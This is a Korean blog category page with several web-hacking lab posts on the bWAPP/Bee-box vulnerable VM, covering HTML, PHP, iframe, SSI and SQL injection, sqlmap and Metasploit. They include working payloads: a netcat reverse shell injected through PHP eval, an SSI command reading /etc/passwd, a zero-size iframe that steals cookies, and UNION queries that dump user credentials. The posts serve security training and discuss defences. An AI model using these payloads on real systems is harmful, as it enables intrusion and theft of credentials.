반응형
SMALL

'웹해킹'에 해당되는 글 40건

반응형
LIST
반응형
SMALL

이번 포스팅에서는 메타스플로잇 기초 활용법에 대해 해보려고 한다. 메타스플로잇도 많이 사용하는 해킹도구이며 이 또한 강력한 해킹도구이기 때문에 항상 가상에다가만 실험해야 한다.


1. 메타스플로잇이란?


- 오픈소스도구로 취약점을 분석할 때 주로 쓰임

- 공개된 공격코드 정리,검증으로 시간을 단축해주는 도구이다.

- 취약점에 대한 쉘코드가 제공되며, 취약점을 분석하는데 있어서 짧은시간안에 취약점을 발견할 수 있다.



(1) 메타스플로잇 실습


먼저 구글에 다음 사진과 같이 검색을 해준다.




그리고 GitHub로 들어가 Raw를 클릭해준다.






그리고 이런식으로 오픈소스가 나오게 되는데 기본적으로 메타스플로잇은 오픈소스이기 때문에 취약점에 대해 분석이 용이하다. Raw를 클릭해주고 아래와 같은 사진의 화면이 나온다면 정상적으로 된 것이다.






그리고 현재 접속되어 있는 URL을 복사해서 이미지를 설치할 것이다. 아래 사진과 같은 명령어를 입력한다.



데스크탑 폴더안에 wget을 써서 그대로 붙여넣고 엔터를 누르면 저렇게 화면이 나오면 정상적으로 잘 설치된 것이다.







그리고 설치된 파일을 카피한다. 위 사진에 블록지정된 부분을 카피해서 저렇게 명령어를 써주고 실행시켜 사진과 같은 화면이 뜨게 되면 정상적으로 잘 작동된 것이다.



그리고 메타스플로잇 DB를 실행시켜 준다. 본인 것은 이미 실행중에 있다.



그리고 메타스플로잇의 콘솔을 실행시켜준다. 사용자가 사용할 수 있는 일종의 쉝창이라고 보면 된다.



이런 화면이 나오게 되면 쉘 창이 정상적으로 실행된 것이다.



올렸던 파일이 어디에 있는지 경로를 확인해 주는 것이다. search bwapp를 입력해주고 use명령어로 경로를 붙여넣고 실행해주면 cmdi를 사용할 수 있는 환경이 전부 구축이 된 것이다.



그리고 Rhost를 check해서 취약점을 분석하면 된다. 자신의 호스트 주소를 넣고 check명령어를 써주면 저런식으로 취약점이 있다고 결과창이 나오게 된다.



run이라는 명령어를 사용해서 백도어가 연결되면서 메타프리터가 연결이 되게 된다. 메타프리터는 일종의 쉘이다.



이렇게 shell이라는 명령어를 입력해주고 whoami, cat함수 등을 입력해주게 되면 정보들을 전부 볼 수 있다.



이번 포스팅에서는 메타스플로잇이 어떤 것인지에 대해 간단하게 알아보았다. 본인도 메타스플로잇을 활용해 해킹을 해보지는 않았지만 어느정도 메타스플로잇의 활용도에 대해 공부하고 실습해보고 익숙해지게 되면 다시 그 활용실습에 대해 포스팅 해볼 계획이다.

반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

XML/XPath 인젝션  (0) 2017.12.28
Blind SQL 인젝션  (0) 2017.12.28
sqlmap 활용법  (0) 2017.12.28
SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
블로그 이미지

만년필석사

,

sqlmap 활용법

웹해킹/Bee-box 2017. 12. 28. 00:30
반응형
SMALL

이번 포스팅은 sqlmap에 대해 포스팅 해보려고 한다. sqlmap은 DB정보도 다 캘 수 있을 정도로 강력한 툴이기 때문에 항상 가상서버, 가상사이트에다가만 실습해야 하고 실사이트, 실서버 공격 절대 금지다! 항상 해킹은 악한곳에 쓰는것이 아닌 악한목적으로 해킹하려는 블랙해커들의 해킹을 방지하는 방법을 연구하기 위해 공부하는 것이다. 이 점만 꼭 명심하고 해킹공부를 해야 한다.


1. SQL Map이란?

- 탐지과정, sql 인젝션 결함을 사용한 익스플로잇, 데이터서버를 접수를 자동화한 오픈소스 침투 점검 도구이다. 

- SQL Map은 항상 궁극적인 침투 점검자를 위한 틈새특성, 데이터베이스로부터 데이터 가져오기, OS Command 실행과 같은 강력한 탐사 엔진을 보유하고 있다.

- SQL Map은 SQL 인젝션할 때 많이 사용하는 도구로 항상 조심해서 사용해야 하며 반드시 가상웹사이트에서만 사용해야 한다.


*SQL Map 공격 실습*


(1) SQL injection(GET/Search) 공격




일단 SQL Injection(Get/search)를 선택하고 핵을 눌러준다. 보안레벨은 Low로 세팅시키고 aaaaa를 입력하고 검색버튼을 눌러준다.




그렇게 되면 이런식으로 URL이 뜨게 되는데 여기서 title에 대한 취약점을 이용해 해킹해보는 실습을 해보려고 하는 것이다. 저 URL 값을 copy해준다.



그리고 sqlmap -u "URL주소" -b -v 3 -p title 이라는 값을 리눅스창에 입력해주고 엔터를 눌러준다. 여기서 -b는 banner들을 보여주는 명령어이며 -v는 정보를 보여주는데 1이라는 값이 가장 상위이며 숫자가 커질수록 상세하게 정보를 볼 수 있다. -p는 파라미터를 의미한다.



이런식으로 화면이 뜰텐데 당연히 잘 안될 것이다. title 뒤에 쿠키값을 입력을 안해줬기 때문이다. 쿠키값 가져오는 법은 아래 사진처럼 프록시를 걸어주고 버퍼스윗을 활용해서 하면 된다.



이런식으로 걸어주고 블록지정한 부분이 쿠키값인데 이걸 copy해준다.




title 뒤에 저렇게 명령어를 입력하고 방금 복사했던 것을 그대로 쿠키명령어 뒤에 붙여주고 엔터를 눌러주면 된다.




정상적으로 실행이 되었으면 이런 화면이 나오는데 현재 서버 운영체제들, 어플리케이션 정보들을 볼 수 있다. 아까 banner라는 명령어를 써서 이런 정보들이 나타나게 되는 것이다.




banner는 시스템 현황을 알려줬고 이번엔 mysql에 어떤 정보가 저장되어 있는지 알아보려는 명령어를 써줬다. -D는 데이터베이스를 의미하며 testdb는 현재 있는 데이터베이스이다. 




그러면 이런식으로 어떤 테이블 정보가 저장이 되어 있는지 한눈에 확인할 수 있다. 






이번에는 table안에 어떤 정보가 있는지 알아보려고 한다. 데이터베이스 뒤에 -T '테이블명' --dump를 입력해준다. -T는 테이블을 조회할때 쓰는 명령어이다.




명령어를 입력하고 정상적으로 동작했다면 이런식으로 테이블안에 있는 정보들을 전부 다 볼 수 있다. 하지만 언제까지나 꼭 가상환경에다가만 해야 되고 절대 실환경공격 금지이다!


(2) SQL Injection(POST/Search) 공격


Post방식도 Get방식과 차이는 거의 없다. 단지 프록시를 잡아주는 것 외에는 공격방식은 동일하다.




이런식으로 프록시를 잡아주고 아까는 sqli.1.php였지만 이번엔 sqli.6.php이다. 




이런식으로 명령어를 입력해준다. 아까 Get방식과 차이점이 좀 있다면 URL쪽이 sqli_6.php로 바뀌었다는 것과 title부분에 --data가 추가되었다는 것인데 --data는 Post방식에서 데이터에 대한 내용을 담는 명령어이다. 




명령어가 잘 실행이 되면 이런식으로 아까와 같은 화면이 잘 출력이 되게 된다.



그리고 참고사항이 하나 있는게 Sleep함수가 있는데 이건 스레드들을 전부 잠재워버릴 수 있는 무서운 함수이다. 스레드가 동작하지 않으면 그 DB자체가 동작할 수 없기 때문에 항상 조심해서 사용해야 한다. 



sqlmap활용법도 간단하게 포스팅해봤는데 sql인젝션 공격이 워낙 다양하다보니 많은 실습과 이론공부가 병행되어야 할듯 싶다. 다음 포스팅은 메타스플로잇의 간단한 활용법에 대해 포스팅 해 볼 생각이다.

반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

Blind SQL 인젝션  (0) 2017.12.28
메타스플로잇(기초)  (0) 2017.12.28
SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
PHP Command 인젝션 공격  (0) 2017.12.25
블로그 이미지

만년필석사

,
반응형
SMALL

이번엔 SQL 인젝션에 대해 포스팅하려고 한다. SQL 인젝션으로 인해 많은 공격을 당하고 고객정보도 탈취하는 사건이 요즘에도 계속 일어나고 있다.(대표적으로 뽐뿌사이트) 


* 공격실습


(1) SQL Injection(GET/Search)


일단 비박스에서 mysql에 접속해서 다음과 같은 명령어들을 입력해줘서 테이블을 만든다.


이런식으로 입력을 잘하게 되면 아래 사진과 같은 화면이 나온다.



이렇게 결과가 나오면 잘 만들어진 것이다.




사진과 같이 SQL Injection search모드를 선택하고 search 버튼을 눌러주면 DB목록이 나오게 된다.



쿼리목록에 use information_schema라고 입력하고 show tables;라고 입력하면 17개의 컬럼이 나오게 된다.



그리고 찾기 목록에 0' union select 1, table_name, 3,4,5,6,7 from information_schema.tables라고 입력해주면 우리가 mysql에서 추출했었던 스키마 쿼리와 똑같은 컬럼이 나온다는 것을 볼 수 있다.






0' union select 1, concat(id, login),password,email,secret,6,7 from users;라고 입력해주면 위 사진과 같은 화면이 나오게 된다. id, password, email이 나와 있긴한데 release컬럼을 보면 전부 해쉬값으로 나와있다. 이걸 해독해주는게 필요하다. 




hash -identifier라고 리눅스에 입력해주고 맨 아래로 내려보면 sha1~이렇게 나와 있는데 이건 구글 해독기를 이용해 해독해보도록 하겠다.



이렇게 해독해보면 우리가 로그인할때 썼던 password가 해독되어 있음을 볼 수 있다. 이렇게 mysql DB 이름을 손쉽게 해쉬함수를 사용해서 알아낼 수 있었다. 이번에 뽐뿌사이트도 이 공격으로 해쉬함수가 해독당해 해킹당한 대표적인 사례이다.


<대응방안>



High단계로 보안단계가 상승되면 check버튼이 동작되게 되는데 여기서 mysql_real_escape_string이라는 함수가 있는데 이 함수가 특수문자들에 백슬래쉬를 붙여서 입력된 값을 SQL문법으로 인식되지 않게끔 방어하는 함수이다. 



mysql_real_escape 함수를 써서 입력한 데이터를 필터링을 걸면 High방어가 될 수 있다.



위 사진과 같이 High단계로 설정하고 검색했을시에는 아무것도 나오지 않음을 알 수 있다.





(2) SQL Injection (GET/Select) 공격


그리고 또하나 공격기법은 테이블 내용이 limit함수를 쓰면 계속 바뀌는 것을 볼 수 있다. 


<대응방안>


stmt prepare함수가 가장 안전한 함수중에 하나로 꼽힌다. sql을 정형화해서 사용하며, 만약 where 조건에 no= 1=1 이런식으로 해서 쿼리를 하게 되도 no값하고만 비교를 하게 되서 결국엔 변조가 불가능하게 된다. 그렇기 때문에 prepare함수를 쓰는게 가장 안전하다고 할 수 있다.



이런식으로 High에다 설정하고 limit값을 바꿔보면 전혀 변화가 일어나지 않다는 것을 볼 수 있다.



(3) SQL Injection(POST/Search) 공격

이 공격도 파라미터만 잡아주는 것 외엔 아까 했던 GET과 공격방식은 거의 흡사하다.



일단 abcd를 입력해주고 버프스윗에서 파라미터를 잡아준다.



이런식으로 파라미터가 잡히게 되는데 abcd' or 1=1 #을 title에다가 입력해주고 intercept off를 하게 되면 다음과 같이 모든 테이블들이 조회되는 것을 볼 수 있다.




(4) SQL Injection(POST/Select) 공격


다음은 이렇게 Post/Select를 Hack해주고 첫번째 타이틀을 선택하고 go버튼을 눌러준다.




그리고 버프스윗에서 파라미터를 잡아주고 2번째 타이틀을 선택해주고 싶을때 8 or 1=1 limit 1,1이라고 입력해주고 intercept off를 눌러준다.



그러면 아래와 같이 두번째 타이틀인 Iron Man이 출력이 되었다는 것을 볼 수 있다.





SQL인젝션 기초 공격은 이정도 인데 다음 포스팅에서는 좀 더 심화된 공격으로 포스팅 해보도록 하겠다. SQL 인젝션은 가장 많이 해커들이 사용하고 있는 수법이기 때문에 항상 보안설정에 대한 대비가 필요하다.











반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

메타스플로잇(기초)  (0) 2017.12.28
sqlmap 활용법  (0) 2017.12.28
iframe, ssl 인젝션  (0) 2017.12.25
PHP Command 인젝션 공격  (0) 2017.12.25
HTML 인젝션(2)-Stored  (0) 2017.12.25
블로그 이미지

만년필석사

,
반응형
SMALL

이번에는 iframe, ssl 인젝션에 대해 포스팅 해보려고 한다. 이번 인젝션들도 블랙 해커들이 많이 사용하는 수법중에 하나이다.


* 공격 실습


(1) iframe 공격


iframe 공격은 HTML문서 안에 있는 또 다른 HTML 문서를 보여주는 태그로 다른 프레임들과는 달리 어디서나 사용이 가능하며 너비, 높이등을 조절할 수 있기 때문에 웹페이지에 안보이게끔 악성 페이지를 삽입할 수 있어 치명적인 공격을 할 수 있다. 



iframe 인젝션을 실행시키면 다음과 같은 화면이 나오게 된다. 여기서 이제 페이지 한개를 삽입해 보도록 하겠다.



이런식으로 삽입이 되었다10.0.2.5/bWAPP/iframei.php?                               ParamUrl=robots.txt " height="250" width="250"></iframe><iframe frameborder="0" src=http://10.0.2.5/bWAPP/attack.html height="0" width="0"></iframe>&ParamWidth=250&ParamHeight=250


를 입력해주면 아래 사진과 같은화면을 만들 수 있다.





이렇게 높이 너비를 0으로 만든 결과이다. 아무것도 보이지 않기 때문에 악성페이지가 삽입되었는지 사용자들은 알 길은 없다.



비박스에서 이렇게 attack.html파일로 만들어 준다음에 아까 써놓은 주소를 다시 실행시켜 보면 보안레벨이 낮으면 다음과 같은 화면이 나온다.



이렇게 쿠키값을 탈취할 수 있게 된다. 쿠키가 탈취되면 사용자정보 또한 전부 노출될 수 있기 때문에 매우 위험하다.


<대응방안>



사진에 나와 있는 코드를 보면 보안레벨이 높은 경우 if문에서 robots.txt파일만 불러와 하드코딩을 실행하게 되는데 변조된 URL은 무시하고 그냥 오로지 하드코딩 된것만 실행하게 된다. 보안레벨이 낮은경우엔 요청된 URL값을 paramURL의 변수로 받고 그대로 xss를 거쳐 출력되고 있음을 볼 수 있다.




이렇게 보안레벨이 High가 될 경우에는 아까 보안레벨이 Low에서 노출된 쿠키값이 전혀 나오지 않음을 볼 수 있다.



(2) ssl 공격


Server Side Includes의 약자이며 서버사이드 쪽에 정보를 갖고 있는 곳을 의미하며 정보를 탈취하는 공격기법이 바로 ssl공격이다.


이렇게 Firstname, Lastname을 입력해주고 lookup을 누르게 되면 두번째 이미지와 같은 화면이 나오게 된다. 이번엔 명령어를 한번 넣어보도록 하겠다. data를 알려주는 명령어이다.


이렇게 나오면 정상적인 화면이다. 보다 시피 LOW레벨에서는 date명령어를 입력하면 date날짜가 전부 노출됨을 알 수 있다. 다른 명령어도 한번 써보면 아래와 같은 화면이 나온다.


<!--#exec cmd="cat /etc/passwd" --> 명령어를 입력해줬는데 보안레벨이 Low에서는 저런식으로 사용자 정보들이 전부 노출되게 된다. 


<대응방안>


보안레벨이 높을때는 근본적으로 특수문자들을 차단했기 때문에 웹페이지에 정보가 노출되지 않는다. 반면 보안레벨이 낮을때는 data에서 특수문자들을 그대로 흘려보내 처리하기 때문에 웹페이지에 전부 정보가 노출되게 되는 것이다.



보안레벨이 높은상태에서 ls관련 명령어를 입력해주면 저런식으로 입력된 문자만 뜰뿐 아무런 정보도 노출되지 않음을 알 수 있다.


여기까지 HTML 인젝션에 대해 포스팅해보았다. 정말 많은 인젝션 기법들이 있어 항상 대응법에 대해 많이 생각해보는 시간을 가져야 할 것 같다. 다음 포스팅은 SQL 인젝션에 대해 해보려고 한다.

반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

sqlmap 활용법  (0) 2017.12.28
SQL 인젝션 기초  (0) 2017.12.26
PHP Command 인젝션 공격  (0) 2017.12.25
HTML 인젝션(2)-Stored  (0) 2017.12.25
HTML 인젝션(1)-Reflected  (8) 2017.12.25
블로그 이미지

만년필석사

,
반응형
SMALL

이번에는 기타 인젝션들에 대해 포스팅해보려고 한다. 일단 앞에 설명한 인젝션들이 큰 틀이기 때문에 이번 포스팅도 이해하는건 그리 어렵지 않다.



*공격 실습*


1. php 인젝션이란?



사진에 나오는 화면과 같이 나오면 정상적으로 실행된 것이다. php 인젝션이란 phpi.php 파일에서 message값 검증 미흡으로 시스템 정보가 유출될 수 있는 인젝션이다. 주로 message의 취약점을 이용해서 공격하는 방법이다.



(1) URL에 취약한 변수인 message값을 변조해서 요청하기



이런식으로 test 끝에 system('ls')라는 명령어를 입력해주게 되면 사용자 폴더안에 있는 php 파일들을 전부다 탈취해올 수 있다. 사실 이렇게 노출되면 굉장히 위험하다. 




이런식으로 phpi.php 파일을 비박스에서 열어보면 다음과 같은 코드들이 나타나는데 eval이라는 함수가 있는데 이건 echo값을 그대로 받겠다는 의미이다. 즉, 사용자가 php파일을 직접 작성해서 공격할 수 있다는 것이므로 쓰면 매우 위험한 함수중에 하나기도 하다. 아래 사진은 필자가 직접 작성한 php 파일이다.





이렇게 만든파일을 주소에 넣고 웹페이지를 실행시키게 되면 저런식으로 사용자가 어떤 파일들을 갖고 있는지 상세하게 나타나게 된다. 이렇듯 eval함수를 써서 echo함수를 쓰게 되면 보안레벨이 그만큼 낮아지며 사용자가 이렇게 php파일을 작성해서 공격할 수 있는 취약점이 드러나게 된다. 반면 보안레벨을 High로 맞춰놨을 경우에 실행시키면 아래 사진과 같다.





이렇게 시스템함수를 입력해줘도 본인이 입력한 system('ls')라는 문구가 그대로 표시되게 된다. 



phpi.php파일을 다시 보게 되면 else쪽에서 htmlspacialchars함수를 써서 메시지를 처리해주고 있는게 보인다. htmlspecialchars함수는 특정한 특수문자들을 html엔티티로 변환시켜주며 xss공격을 방어해주는 함수이기도 하다. 


(2) 웹서버를 쉘에 연결해 공격하기




이런식으로 칼리리눅스에 nc -l -p 666이라고 입력해준다. 커서가 깜빡거리고 아무것도 나오지 않으면 웹서버가 잘 동작하고 있는 것이다.



이렇게 클라이언트에는 system('nc 10.0.2.5 666 -e /bin/bash')라고 message뒤에 입력해준다. 이때 프록시를 잡아줘야 연결이 가능하다.





이렇게 ls를 쳐주게 되면 사용자 정보, 사용자가 갖고 있는 파일들을 전부 확인할 수 있다. whoami같은 명령어로 사용자 정보 탈취가 가능하게 된다. 이에 따른 대응방안은 위에서 설명했듯이 htmlspacialchars함수에 달려 있다. 보안이 낮으면 이렇게 전부 다 유출이 되며 보안이 높으면 악성 php코드를 입력해도 전부 필터링 걸리게 되어 동작하지 않게 된다.



반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
HTML 인젝션(2)-Stored  (0) 2017.12.25
HTML 인젝션(1)-Reflected  (8) 2017.12.25
칼리리눅스, Bee Box 설치  (0) 2017.12.25
블로그 이미지

만년필석사

,
반응형
SMALL

이번 포스팅은 HTML 인젝션 Stored에 대해 해보려고 한다. 이건 블로그나 포털 사이트에 악의적인 HTML코드를 심어놔서 공격하는 방법을 설명한다.


1. HTML 인젝션 - Stored란 무엇인가?


- 악의적인 목적을 가지고 블로그나 포털사이트 등을 악의적인 스크립트가 포함된 게시판 글을 올릴경우 정상적인 사용자가 이 게시판 글을 열게되면 악성스크립트가 실행되게 된다.

- 이것도 역시 트로이목마 공격이랑 유사한 공격방식이다. 그래서 항상 사이트에서 아무거나 열지 말고 조심해야 한다.


   <사진출저: 유노님의 블로그>



이런식의 구조로 공격하는 기법이며 해커들의 목적은 쿠키값을 탈취해서 사용자 id password를 알아내 불법로그인을 하는것이다.



2. HTML 인젝션 - Stored 공격실습


(1) 다른 피싱 사이트로 접근하기


이 공격방식도 정상적인 사용자가 해커들에게 많이 당하는 수법이기도 하다. 링크를 속이고 악의적인 스크립트가 심어져 있는 사이트로 유도하게끔 만드는 공격이다.




이렇게 download 같은 걸 사이트에 만들어서 악의적인 목적을 가진 사이트로 유도하게끔 한다. 여기서는 다운로드를 크릭하면 네이버로 이동이되지만 블랙해커들은 자신의 이익을 취할 수 있는 사이트로 이동시키게끔 만든다.



(2) 게시판을 이용한 공격


임의로 게시판을 소스코드로 만들어서 실습을 해보았다. 보안 레벨이 낮은 경우엔 submit라는 것을 누르면 지정해둔 php파일로 넘어가게 되고 보안레벨이 높은 경우엔 글자가 모두 소스코드로 보이게 된다.



          <보안레벨이 Low인 경우>




<보안레벨이 High인 경우>



차이점이 보이는가? 보안레벨이 Low일 경우엔 그대로 php파일로 전부 다 넘어가지만 보안레벨이 high일 경우에는 입력값들이 php파일로 넘어가지 않고 내가 게시판 글을 만들기 위해 사용했던 소스코드가 전부 그대로 보이게 된다.


<대응 방안>


여기서 사용한 php파일을 분석해보면 된다. php 소스코드를 보면 분석이 가능해진다.



아까와 같이 비박스에서 htmli_stored.php 파일을 열고 다음과 같은 코드가 나오는데 0,1,2로 구분되어 있다. 모두 sqli_check함수를 써서 데이터베이스가 들어오는 값들을 검증하고 있는 상태이다. 





하지만 여기서 문제가 발생한다. if문에는 보안레벨이 1,2 즉 medium, high레벨만 DB에 저장되어 있는 게시글이 출력이 될때 xss_check함수를 이용해서 특수문자를 if문 처리를 하고 있는 것이 보인다. 



하지만 보안레벨이 0인 상태에서 DB에 저장되어 있는 게시글이 출력될때는 if문처리가 전혀 없기 때문에 내용을 입력하면 그대로 지정된 페이지로 넘어가게 되어 있는 것이다. 그렇기 때문에 여기서 취약점이 발생한다고 보면 된다.



이렇게 블로그나 포털사이트에서 발생할 수 있는 해킹 공격에 대해 포스팅 해보았다. 항상 사이트 내의 보안은 필수이다. 언제 어떻게 공격할지 모르는 블랙해커들에 대비해 항상 모르는 것은 함부로 클릭하지 않는게 최선인 것 같다.



반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
PHP Command 인젝션 공격  (0) 2017.12.25
HTML 인젝션(1)-Reflected  (8) 2017.12.25
칼리리눅스, Bee Box 설치  (0) 2017.12.25
블로그 이미지

만년필석사

,
반응형
SMALL

이번 포스팅은 HTML 인젝션에 대한 것을 포스팅 해보려고 한다. 인젝션이라고 하면 해석해보면 "주사하다"라는 뜻을 갖고 있다. 흔히 블랙해커들이 공격할때 HTML인젝션으로 쿠키를 변조하고 악의적인 HTML태그를 만들어 파싱하게 만드는 등 여러가지 공격형태를 띠고 있다. 사실 실습법 자체는 간단한데 주요 공공기관, 대기업들은 이 공격에 속수무책으로 당하는 경우도 종종 있게 된다.(최근 보안사고 이슈에서 뽐뿌사이트가 이 공격으로 해킹당했음) 그럼 HTML 인젝션 실습은 어떻게 이루어지는지 적어보려고 한다.


1. HTML 인젝션


- 취약한 매개변수에 악의적인 HTML을 삽입해서 공격하는 기법

- HTML태그로 악의적인 사이트를 연결하거나 악성파일을 다운로드하도록 유도하게 된다.(트로이목마공격이랑 흡사)


2. HTML 인젝션 Reflected(get, Post)


- 주로 취약한 매개변수에 악성 HTML을 심어서 공격하게 하는 방법이다.

- 클라이언트가 서버에게 영향을 주었지만 서버는 그대로 다시 클라이언트에게 돌려주는 현상이다.


2. 공격 실습


(1)  HTML 인젝션 Reflected(get) 실습




본인의 이름을 입력하고 go를 누르면 사진과 같이 Welcome 뒤에 이름이 나오는 것을 볼 수 있다.


(2) 웹 서버자체에 존재하는 이미지 가져오기



이것도 크게 어렵진 않다. <src img = http://10.0.2.4/bWAPP/images/bee_1.png></img> 라고 입력해주면 저런식으로 벌사진을 가져올 수 있다.


(3) 클라이언트 쿠키 값 가져오기 공격 실습



쿠키값을 가져와서 해킹하는 방법이다. <script> alert(document.cookie) </script> 라고 입력해주면 된다. 자바스크립트 해본 분들은 어떤 코드인지 쉽게 알 수 있다. 이 방법으로 쿠키를 얼마든지 변조하고 해킹이 가능하다. 



정상적으로 실행이 되면 다음과 같은 화면을 볼 수 있다. 그런데 이렇게 허무하게 쿠키값이 뚫리게 끔 하진 않는다. 왜 이렇게 허망하게 쿠키값이 노출되게 되었는지는 아래 사진을 보면 된다.



** 쿠키값 변조 대응 방안**


비박스에 터미널을 들어가서 경로를 사진과 같이 var/www/bWAPP로 바꿔주고 gedit를 실행시킨다.



그렇게 실행시키만 다음과 같은 화면이 나오게 되는데 switch문이 걸려있다. 보안 레벨에 따라서 0, 1, 2로 나뉘는데 각각 Low, mediam, high로 나뉘게 된다. 코드를 보게 되면 1,2에는 xss_check가 걸려있는 것을 볼 수 있다. 하지만 0에는 어떠한 것도 걸려있지 않다. 따라서 쿠키값 해킹을 방지하기 위해서는 반드시 htmlspecialchar함수를 사용해서 파라미터값(&data)를 검증해주는 것이 매우 안전한 보안이며 특수문자들이나 자바스크립트 기호들을 html 엔티티로 변환시켜서 악성해커들로부터 방어할 수 있게끔 해야한다.



<보안레벨을 Low로 놓고 실행시켰을 때 화면>




<보안 레벨을 medium로 놓고 실행시켰을 때 화면>


보안레벨을 medium으로 세팅해놓고 실행시키면 쿠키값은 전혀 뜨지 않는 걸 확인할 수 있다. 만약 Low레벨의 스위치문을 1,2와 같게 해준다면 당연히 medium, high와 같은화면이 출력될 수 있다. 항상 쿠키값은 탈취당하지 않게 하는 보안력이 중요하다!


(4) HTML 인젝션 Reflected(POST) 실습


POST 방식은 파라미터가 URL에 안보여서 burp suite툴을 활용해서 파라미터 값을 보고 조작해야한다.


일단 버프스윗을 사용하기 전에 설정을 해주어야 하는데 firefox를 열어서 오른쪽 메뉴탭을 클릭하면 Preferences라는 설정탭이 나온다. 이것을 클릭해준다.



그리고 Advanced를 눌러 Connection쪽에 settings를 클릭하면 처음에는 Use system proxy settings로 설정이 되어 있을 것이다. 이것을 Manual proxy configuration로 바꿔주고 Http Proxy에 127.0.0.1을 입력하고 포트는 8080포트로 잡아주고 Ok버튼을 눌러줘서 설정해준다. 자신의 네트워크로 설정해줌으로써 버프스윗을 사용해서 프록시를 잡아줄 수 있게 설정해주는 것이다.




이렇게 입력해주고 아래 사진을 보게 된다.



이런식으로 burp suite에서 로그들이 보이게 되는데 다른건 큰 차이는 없는데 단지 post방식은 body부분을 요청할때 쓰인다. get방식 같은 경우는 head부분을 요청할 때 주로 많이 쓰이게 된다. firstname쪽을 디코딩한 값으로 넣어주게 되면 다음과 같은 화면이 또 뜨게 된다.



Post방식으로도 body를 조작해서 이렇게 쿠키값을 띄우게 할 수 있다.



포스팅이 좀 길어졌는데 생각보다 웹해킹은 공부할 게 많다. 필자도 처음엔 좀 헷갈려서 이해하려고 많은 노력을 했다. 쿠키값해킹하는법, 서버 이미지 파일 해킹하는법을 주로 포스팅을 해봤다. 2편에서는 데이터베이스 관련해서 해킹하는 법을 써보도록 하겠다.


반응형
LIST

'웹해킹 > Bee-box' 카테고리의 다른 글

SQL 인젝션 기초  (0) 2017.12.26
iframe, ssl 인젝션  (0) 2017.12.25
PHP Command 인젝션 공격  (0) 2017.12.25
HTML 인젝션(2)-Stored  (0) 2017.12.25
칼리리눅스, Bee Box 설치  (0) 2017.12.25
블로그 이미지

만년필석사

,
반응형
SMALL

웹해킹을 하는데 환경설정은 필수이다. 이것이 되지 않는다면 웹해킹 실습은 불가능하다고 보면 된다. 웹 개발을 조금이라도 해보고 서버를 만져본 실무경험이 있다면 사실 설치하고 셋팅하는 절차는 매우 간단하다.


1. 먼저 virtual Box를 다운받아 설치해준다. 필자는 이미 설치가 되어 있기 때문에 과정은 생략하는데,  https:/www.virtualbox.com 으로 들어가면 이미지를 다운받아 설치할 수 있다. 올바르게 설치된 화면은 다음과 같다.



이런식으로 설치가 되면 되는데 필자는 칼리리눅스와 Bee-Box를 전부 설치해 놓은 상태이다. 


2. 다음은 Kali-linux 이미지를 다운받아 준다. https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/로 들어가서 원하는 사양, 환경을 고려해 이미지를 다운받아준다. 필자는 64비트로 받았는데 용량이 대락 3.3GB정도 소모되었던 것 같다. 





3. 이미지를 다운받고 virtualBox에 설치해줘야 하는데 사진에 있는 절차대로만 하면 칼리리눅스는 금방 설치된다. 그런데 여기서 주의할 점은 virtualbox ext-pak도 같이 설치해주어야 칼리리눅스가 설치된다. 이것만 참고하면 된다.





이런식으로 다운받은 이미지를 불러서 계속 버튼을 눌러주면서 설치해주면 된다. 설치과정은 전혀 어렵지 않으니 본인이 하면 된다. 참고로 접속할때 ID는 root 비번은 toor이다. 이것만 참고하면 된다.


칼리리눅스 설치가 되면 마우스 오른쪽을 클릭해 설정을 누르고 네트워크를 다음과 같이 설정해준다.




이렇게 설정하고 칼리리눅스를 실행하면 이런화면이 보이면 아주 잘 설치된 것이다.



칼리리눅스는 해킹툴이 굉장히 많이 있고 잘되어 있는 os기 때문에 항상 주의해서 써야한다. 앞으로 해킹 공부하면서 가상환경에다가만 해야하며 실서버공격은 절대 금지이다!! 우리는 화이트해커가 되어야 하며 절대 블랙해커가 되면 안된다!!


Burpsuite라고 터미널에 치고 설치가 되어 있는지 확인한다. 근데 보통 설치는 다 되어 있다. 이건 프록시나 로그 분석할 때 주로 많이 쓰이는 툴이므로 유용하게 쓰인다. 웹 해킹할때도 예외는 아니다.




그리고 sqlmap -h라고 치면 다음과 같이 나오면 정상설치 된 것이다. 보통 이것도 다 설치는 되어 있다.




마지막으로 메타스플로잇이 설치되어 있는지 보는 명령어인데 이것도 보통 설치는 다 되어 있다. 아래와 같은 화면이 나오면 정상적으로 설치된 것이다. 명령어는 msfconsole -h이다. 참고로 메타스플로잇도 해킹도구이기 때문에 항상 가상에다가만 해야하며 실서버 공격 절대 금지다.





이렇게 하면 칼리리눅스 세팅은 다 끝났다. 


4. 다음은 Beebox를 설치하는 과정이다. BeeBox도 사진따라서 설치만 해주면 끝난다. 참고로 Beebox는 우분투 환경에서 설치된다.





가상머신 메모리 크기는 본인이 지정해주면 되는데 보통 1024로 하는게 일반적이다.



bee box 압축파일을 다운로드 한후 압축을 풀면 bee-box폴더가 생성되는데 bee-box.vmdk를 선택해서 열면 된다.



이런식으로 해서 올려주면 된다. bee-box 압축파일은 https://sourceforge.net/projects/bwapp/files/bee-box/ 에서 다운받으면 된다. 만들기만 누르면 Beebox가 설치된다.



비박스가 설치되고 설치된 비박스 오른쪽을 클릭해 네트워크에서 NAT 네트워크로 설정하고 ok버튼을 눌러준다.



정상적으로 설치되면 다음과 같은 화면이 부팅되게 된다.




이런식으로 나오게 된다. 그런데 여기서 하나 문제점은 터미널에 abcd를 치면 qbcd가 나오는데 이건 환경설정가서 kor언어로 바꾸어 줘야 된다. 바꾸는 과정은 다음과 같다.



마우스 오른쪽을 클릭해주면 keyboard Preferences가 나오는데 여기로 들어간다.



